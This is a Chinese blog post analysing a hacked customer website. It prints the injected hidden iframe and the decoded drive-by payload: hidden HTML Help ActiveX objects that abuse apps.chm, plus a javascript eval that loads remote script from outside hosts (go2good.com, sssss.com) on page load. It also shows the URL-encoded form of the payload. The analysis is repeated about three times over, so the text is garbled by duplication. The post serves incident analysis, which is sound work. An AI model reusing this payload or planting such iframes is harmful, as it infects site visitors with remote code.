客户网站被挂马的分析
2006-01-05 15:51
309 查看
打开网站,查看 源代码 ,查找<iframe 标签
就会找到在这段框架:
<iframe src="http://www.fengyajade.com/jiaozhu.htm" name="zhu"
width="0" height="0" frameborder="0">
这就是 打开网站为什么,杀毒软件提示有木马的原因..
经检查是在index.asp 最后一行。。
上面的框架调用了本地文件jiaozhu.htm
分析jiaozhu.htm 看源代码 是经过了java unescape 函数加密了。
解密后的真实代码是：
"<SCRIPT language=VScript src="bbs003302.gif"></SCRIPT>
<SCRIPT language=VScript src="bbs003302.css"></SCRIPT>
<HTML>
<BODY>
<div style="display:none">
<OBJECT id="cctv" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;file://C:/WINDOWS/Help/apps.chm'>
</OBJECT>
<OBJECT id="zgds" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window"
value="$global_ifl">
<PARAM name="Item1" value='command;javascript:eval("document.write
(/"<SCRIPT language=JScript
src=///"
///"/"+String.fromCharCo
de(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")'>
</OBJECT>
</div>
<SCRIPT>cctv.Click();setTimeout("zgds.Click();",0);</SCRIPT>
</BODY>
</HTML>
"
在此我们分析代码就会注意到 在本地浏览器打开首页的时候，就会调用两个文件
bbs003302.gif
bbs003302.css
至于这两文件是什么，怎么做的，我也没有时间去研究了。。
通过系统你客户断自带的 file://C:/WINDOWS/Help/apps.chm 来达到执行木马
网上有很多关于chm生成木马的材料，可以 百度一下的。。
大概是通过 动感商城 注入 漏洞 获取你管理员密码了..从而上传 asp 类木马,修改你的程序,放置木马..
这个chm已经很早的漏洞了，没想到还有人在使用
这次代码为：
<SCRIPT LANGUAGE="JavaScript">
<!--
var Words
="%3Cscript%3Edocument.write%28unescape%28%27%253CHTML%253E%250D%250A%253Chead%253E%250D%250A%253C/h
ead%253E%250D%250A%253CBODY%253E%250D%250A%253Cdiv%2520style%253D%2522display%253Anone%2522%253E%250
D%250A%253COBJECT%2520id%253D%2522f1%2522%250D%250Atype%253D%2522application/x-oleobject%2522%250D%2
50Aclassid%253D%2522clsid%253Aadb880a6-d8ff-11cf-9377-00aa003b7a11%2522%253E%250D%250A%253CPARAM%252
0name%253D%2522Command%2522%2520value%253D%2522Related%2520Topics%252C%2520MENU%2522%253E%250D%250A%
253CPARAM%2520name%253D%2522Window%2522%2520value%253D%2522%2524global_ifl%2522%253E%250D%250A%253CP
ARAM%2520name%253D%2522Item1%2522%2520value%253D%2527command%253Bfile%253A//c%253A%255CWINDOWS%255CH
elp%255Capps.chm%2527%253E%250D%250A%253C/OBJECT%253E%250D%250A%253COBJECT%2520id%253D%2522f2%2522%2
520type%253D%2522application/x-oleobject%2522%2520classid%253D%2522clsid%253Aadb880a6-d8ff-11cf-9377
-00aa003b7a11%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Command%2522%2520value%253D%2522Relate
d%2520Topics%252C%2520MENU%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Window%2522%2520value%253
D%2522%2524global_ifl%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Item1%2522%2520value%253D%2527
command%253Bjavascript%253Aeval%2528%2522document.write%2528%255C%2522%253CSCRIPT%2520language%25252
0%25253D%252520JScript%2520%2520src%253D%255C%255C%255C%2522http%3A//www.go2good.com/af/afu%252Egif%
255C%255C%255C%2522%255C%2522+String.fromCharCode%252862%2529+%255C%2522%253C/SCR%255C%2522+%255C%25
22IPT%255C%2522+String.fromCharCode%252862%2529%2529%2522%2529%2527%253E%250D%250A%253C/OBJECT%253E%
250D%250A%253C/div%253E%250D%250A%253Cscript%253E%250D%250Af1.Click%2528%2529%253BsetTimeout%2528%25
22f2.Click%2528%2529%253B%2522%252C0%2529%253B%250D%250A%253C/script%253E%250D%250A%253C/BODY%253E%2
50D%250A%253C/HTML%253E%27%29%29%3B%3C/script%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
alert(NewWords);
}
OutWord();
// -->
</SCRIPT>
<HTML>
<head>
</head>
<BODY>
<div style="display:none">
<OBJECT id="f1"
type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;file://c:/WINDOWS/Help/apps.chm'>
</OBJECT>
<OBJECT id="f2" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;javascript:eval("document.write(/"<SCRIPT language%20%3D%20JScript src=///"http://www.sssss.com/af/afsdfu.gif///"/"+String.fromCharCode(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")'>
</OBJECT>
</div>
<script>
f1.Click();setTimeout("f2.Click();",0);
</script>
</BODY>
</HTML>
"<SCRIPT language=VScript src="bbs003302.gif"></SCRIPT>
<SCRIPT language=VScript src="bbs003302.css"></SCRIPT>
<HTML>
<BODY>
<div style="display:none">
<OBJECT id="cctv" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;file://C:/WINDOWS/Help/apps.chm'>
</OBJECT>
<OBJECT id="zgds" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window"
value="$global_ifl">
<PARAM name="Item1" value='command;javascript:eval("document.write
(/"<SCRIPT language=JScript
src=///"
///"/"+String.fromCharCo
de(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")'>
</OBJECT>
</div>
<SCRIPT>cctv.Click();setTimeout("zgds.Click();",0);</SCRIPT>
</BODY>
</HTML>
"
在此我们分析代码就会注意到 在本地浏览器打开首页的时候，就会调用两个文件
bbs003302.gif
bbs003302.css
至于这两文件是什么，怎么做的，我也没有时间去研究了。。
通过系统你客户断自带的 file://C:/WINDOWS/Help/apps.chm 来达到执行木马
网上有很多关于chm生成木马的材料，可以 百度一下的。。
大概是通过 动感商城 注入 漏洞 获取你管理员密码了..从而上传 asp 类木马,修改你的程序,放置木马..
这个chm已经很早的漏洞了，没想到还有人在使用
这次代码为：
<SCRIPT LANGUAGE="JavaScript">
<!--
var Words
="%3Cscript%3Edocument.write%28unescape%28%27%253CHTML%253E%250D%250A%253Chead%253E%250D%250A%253C/h
ead%253E%250D%250A%253CBODY%253E%250D%250A%253Cdiv%2520style%253D%2522display%253Anone%2522%253E%250
D%250A%253COBJECT%2520id%253D%2522f1%2522%250D%250Atype%253D%2522application/x-oleobject%2522%250D%2
50Aclassid%253D%2522clsid%253Aadb880a6-d8ff-11cf-9377-00aa003b7a11%2522%253E%250D%250A%253CPARAM%252
0name%253D%2522Command%2522%2520value%253D%2522Related%2520Topics%252C%2520MENU%2522%253E%250D%250A%
253CPARAM%2520name%253D%2522Window%2522%2520value%253D%2522%2524global_ifl%2522%253E%250D%250A%253CP
ARAM%2520name%253D%2522Item1%2522%2520value%253D%2527command%253Bfile%253A//c%253A%255CWINDOWS%255CH
elp%255Capps.chm%2527%253E%250D%250A%253C/OBJECT%253E%250D%250A%253COBJECT%2520id%253D%2522f2%2522%2
520type%253D%2522application/x-oleobject%2522%2520classid%253D%2522clsid%253Aadb880a6-d8ff-11cf-9377
-00aa003b7a11%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Command%2522%2520value%253D%2522Relate
d%2520Topics%252C%2520MENU%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Window%2522%2520value%253
D%2522%2524global_ifl%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Item1%2522%2520value%253D%2527
command%253Bjavascript%253Aeval%2528%2522document.write%2528%255C%2522%253CSCRIPT%2520language%25252
0%25253D%252520JScript%2520%2520src%253D%255C%255C%255C%2522http%3A//www.go2good.com/af/afu%252Egif%
255C%255C%255C%2522%255C%2522+String.fromCharCode%252862%2529+%255C%2522%253C/SCR%255C%2522+%255C%25
22IPT%255C%2522+String.fromCharCode%252862%2529%2529%2522%2529%2527%253E%250D%250A%253C/OBJECT%253E%
250D%250A%253C/div%253E%250D%250A%253Cscript%253E%250D%250Af1.Click%2528%2529%253BsetTimeout%2528%25
22f2.Click%2528%2529%253B%2522%252C0%2529%253B%250D%250A%253C/script%253E%250D%250A%253C/BODY%253E%2
50D%250A%253C/HTML%253E%27%29%29%3B%3C/script%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
alert(NewWords);
}
OutWord();
// -->
</SCRIPT>
<HTML>
<head>
</head>
<BODY>
<div style="display:none">
<OBJECT id="f1"
type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;file://c:/WINDOWS/Help/apps.chm'>
</OBJECT>
<OBJECT id="f2" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;javascript:eval("document.write(/"<SCRIPT language%20%3D%20JScript src=///"http://www.sssss.com/af/afsdfu.gif///"/"+String.fromCharCode(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")'>
</OBJECT>
</div>
<script>
f1.Click();setTimeout("f2.Click();",0);
</script>
</BODY>
</HTML>
就会找到在这段框架:
<iframe src="http://www.fengyajade.com/jiaozhu.htm" name="zhu"
width="0" height="0" frameborder="0">
这就是 打开网站为什么,杀毒软件提示有木马的原因..
经检查是在index.asp 最后一行。。
上面的框架调用了本地文件jiaozhu.htm
分析jiaozhu.htm 看源代码 是经过了java unescape 函数加密了。
解密后的真实代码是：
"<SCRIPT language=VScript src="bbs003302.gif"></SCRIPT>
<SCRIPT language=VScript src="bbs003302.css"></SCRIPT>
<HTML>
<BODY>
<div style="display:none">
<OBJECT id="cctv" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;file://C:/WINDOWS/Help/apps.chm'>
</OBJECT>
<OBJECT id="zgds" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window"
value="$global_ifl">
<PARAM name="Item1" value='command;javascript:eval("document.write
(/"<SCRIPT language=JScript
src=///"
///"/"+String.fromCharCo
de(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")'>
</OBJECT>
</div>
<SCRIPT>cctv.Click();setTimeout("zgds.Click();",0);</SCRIPT>
</BODY>
</HTML>
"
在此我们分析代码就会注意到 在本地浏览器打开首页的时候，就会调用两个文件
bbs003302.gif
bbs003302.css
至于这两文件是什么，怎么做的，我也没有时间去研究了。。
通过系统你客户断自带的 file://C:/WINDOWS/Help/apps.chm 来达到执行木马
网上有很多关于chm生成木马的材料，可以 百度一下的。。
大概是通过 动感商城 注入 漏洞 获取你管理员密码了..从而上传 asp 类木马,修改你的程序,放置木马..
这个chm已经很早的漏洞了，没想到还有人在使用
这次代码为：
<SCRIPT LANGUAGE="JavaScript">
<!--
var Words
="%3Cscript%3Edocument.write%28unescape%28%27%253CHTML%253E%250D%250A%253Chead%253E%250D%250A%253C/h
ead%253E%250D%250A%253CBODY%253E%250D%250A%253Cdiv%2520style%253D%2522display%253Anone%2522%253E%250
D%250A%253COBJECT%2520id%253D%2522f1%2522%250D%250Atype%253D%2522application/x-oleobject%2522%250D%2
50Aclassid%253D%2522clsid%253Aadb880a6-d8ff-11cf-9377-00aa003b7a11%2522%253E%250D%250A%253CPARAM%252
0name%253D%2522Command%2522%2520value%253D%2522Related%2520Topics%252C%2520MENU%2522%253E%250D%250A%
253CPARAM%2520name%253D%2522Window%2522%2520value%253D%2522%2524global_ifl%2522%253E%250D%250A%253CP
ARAM%2520name%253D%2522Item1%2522%2520value%253D%2527command%253Bfile%253A//c%253A%255CWINDOWS%255CH
elp%255Capps.chm%2527%253E%250D%250A%253C/OBJECT%253E%250D%250A%253COBJECT%2520id%253D%2522f2%2522%2
520type%253D%2522application/x-oleobject%2522%2520classid%253D%2522clsid%253Aadb880a6-d8ff-11cf-9377
-00aa003b7a11%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Command%2522%2520value%253D%2522Relate
d%2520Topics%252C%2520MENU%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Window%2522%2520value%253
D%2522%2524global_ifl%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Item1%2522%2520value%253D%2527
command%253Bjavascript%253Aeval%2528%2522document.write%2528%255C%2522%253CSCRIPT%2520language%25252
0%25253D%252520JScript%2520%2520src%253D%255C%255C%255C%2522http%3A//www.go2good.com/af/afu%252Egif%
255C%255C%255C%2522%255C%2522+String.fromCharCode%252862%2529+%255C%2522%253C/SCR%255C%2522+%255C%25
22IPT%255C%2522+String.fromCharCode%252862%2529%2529%2522%2529%2527%253E%250D%250A%253C/OBJECT%253E%
250D%250A%253C/div%253E%250D%250A%253Cscript%253E%250D%250Af1.Click%2528%2529%253BsetTimeout%2528%25
22f2.Click%2528%2529%253B%2522%252C0%2529%253B%250D%250A%253C/script%253E%250D%250A%253C/BODY%253E%2
50D%250A%253C/HTML%253E%27%29%29%3B%3C/script%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
alert(NewWords);
}
OutWord();
// -->
</SCRIPT>
<HTML>
<head>
</head>
<BODY>
<div style="display:none">
<OBJECT id="f1"
type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;file://c:/WINDOWS/Help/apps.chm'>
</OBJECT>
<OBJECT id="f2" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;javascript:eval("document.write(/"<SCRIPT language%20%3D%20JScript src=///"http://www.sssss.com/af/afsdfu.gif///"/"+String.fromCharCode(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")'>
</OBJECT>
</div>
<script>
f1.Click();setTimeout("f2.Click();",0);
</script>
</BODY>
</HTML>
"<SCRIPT language=VScript src="bbs003302.gif"></SCRIPT>
<SCRIPT language=VScript src="bbs003302.css"></SCRIPT>
<HTML>
<BODY>
<div style="display:none">
<OBJECT id="cctv" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;file://C:/WINDOWS/Help/apps.chm'>
</OBJECT>
<OBJECT id="zgds" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window"
value="$global_ifl">
<PARAM name="Item1" value='command;javascript:eval("document.write
(/"<SCRIPT language=JScript
src=///"
///"/"+String.fromCharCo
de(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")'>
</OBJECT>
</div>
<SCRIPT>cctv.Click();setTimeout("zgds.Click();",0);</SCRIPT>
</BODY>
</HTML>
"
在此我们分析代码就会注意到 在本地浏览器打开首页的时候，就会调用两个文件
bbs003302.gif
bbs003302.css
至于这两文件是什么，怎么做的，我也没有时间去研究了。。
通过系统你客户断自带的 file://C:/WINDOWS/Help/apps.chm 来达到执行木马
网上有很多关于chm生成木马的材料，可以 百度一下的。。
大概是通过 动感商城 注入 漏洞 获取你管理员密码了..从而上传 asp 类木马,修改你的程序,放置木马..
这个chm已经很早的漏洞了，没想到还有人在使用
这次代码为：
<SCRIPT LANGUAGE="JavaScript">
<!--
var Words
="%3Cscript%3Edocument.write%28unescape%28%27%253CHTML%253E%250D%250A%253Chead%253E%250D%250A%253C/h
ead%253E%250D%250A%253CBODY%253E%250D%250A%253Cdiv%2520style%253D%2522display%253Anone%2522%253E%250
D%250A%253COBJECT%2520id%253D%2522f1%2522%250D%250Atype%253D%2522application/x-oleobject%2522%250D%2
50Aclassid%253D%2522clsid%253Aadb880a6-d8ff-11cf-9377-00aa003b7a11%2522%253E%250D%250A%253CPARAM%252
0name%253D%2522Command%2522%2520value%253D%2522Related%2520Topics%252C%2520MENU%2522%253E%250D%250A%
253CPARAM%2520name%253D%2522Window%2522%2520value%253D%2522%2524global_ifl%2522%253E%250D%250A%253CP
ARAM%2520name%253D%2522Item1%2522%2520value%253D%2527command%253Bfile%253A//c%253A%255CWINDOWS%255CH
elp%255Capps.chm%2527%253E%250D%250A%253C/OBJECT%253E%250D%250A%253COBJECT%2520id%253D%2522f2%2522%2
520type%253D%2522application/x-oleobject%2522%2520classid%253D%2522clsid%253Aadb880a6-d8ff-11cf-9377
-00aa003b7a11%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Command%2522%2520value%253D%2522Relate
d%2520Topics%252C%2520MENU%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Window%2522%2520value%253
D%2522%2524global_ifl%2522%253E%250D%250A%253CPARAM%2520name%253D%2522Item1%2522%2520value%253D%2527
command%253Bjavascript%253Aeval%2528%2522document.write%2528%255C%2522%253CSCRIPT%2520language%25252
0%25253D%252520JScript%2520%2520src%253D%255C%255C%255C%2522http%3A//www.go2good.com/af/afu%252Egif%
255C%255C%255C%2522%255C%2522+String.fromCharCode%252862%2529+%255C%2522%253C/SCR%255C%2522+%255C%25
22IPT%255C%2522+String.fromCharCode%252862%2529%2529%2522%2529%2527%253E%250D%250A%253C/OBJECT%253E%
250D%250A%253C/div%253E%250D%250A%253Cscript%253E%250D%250Af1.Click%2528%2529%253BsetTimeout%2528%25
22f2.Click%2528%2529%253B%2522%252C0%2529%253B%250D%250A%253C/script%253E%250D%250A%253C/BODY%253E%2
50D%250A%253C/HTML%253E%27%29%29%3B%3C/script%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
alert(NewWords);
}
OutWord();
// -->
</SCRIPT>
<HTML>
<head>
</head>
<BODY>
<div style="display:none">
<OBJECT id="f1"
type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;file://c:/WINDOWS/Help/apps.chm'>
</OBJECT>
<OBJECT id="f2" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Window" value="$global_ifl">
<PARAM name="Item1" value='command;javascript:eval("document.write(/"<SCRIPT language%20%3D%20JScript src=///"http://www.sssss.com/af/afsdfu.gif///"/"+String.fromCharCode(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")'>
</OBJECT>
</div>
<script>
f1.Click();setTimeout("f2.Click();",0);
</script>
</BODY>
</HTML>
内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 
相关文章推荐
- 企业网站常见耗资源、大流量、被挂马的原因分析与对策
- 电子商务网站客户行为分析——用户再次购买率问题
- 分析网站建设销售们在和客户沟通中的录音行为
- 网站挂马十种方式代码分析
- 网站被挂马的真正原因及挂马原理分析
- 大量客户反映wordpress的网站打开巨慢，经分析发现，这些网站大都使用了google的字体服务，由于最近google的服务已经被大陆屏蔽，所以wordpress的网站打开时，会卡在字体加载上。
- 客户网站访问慢分析和排查过程
- BT天堂网站挂马事件后续：“大灰狼”远控木马分析及幕后真凶调查
- WSS无编程网站建设(1)-客户需求分析
- 瑞星首推“恶意网站监测网” 每天500万网民访问挂马网站
- 网站分析基础概念之退出页
- “少林武术职业学院”“大河网”网站被挂马
- 警惕：高考将至 著名高校网站被挂马
- 网站建设中做到需求分析细致，网站优化也就顺理成章了
- 《越狱》完结 米帅迷应小心纹身网站挂马
- 警惕：近日时尚房产政府类网站被大量挂马
- 网站分析的烦恼连载（优化篇上）
- 几个网站的源文件分析【有感于html常用元素和属性】
- 如何在Joomla中添加Google的网站分析代码
- 关于网站分页导航的十个细节分析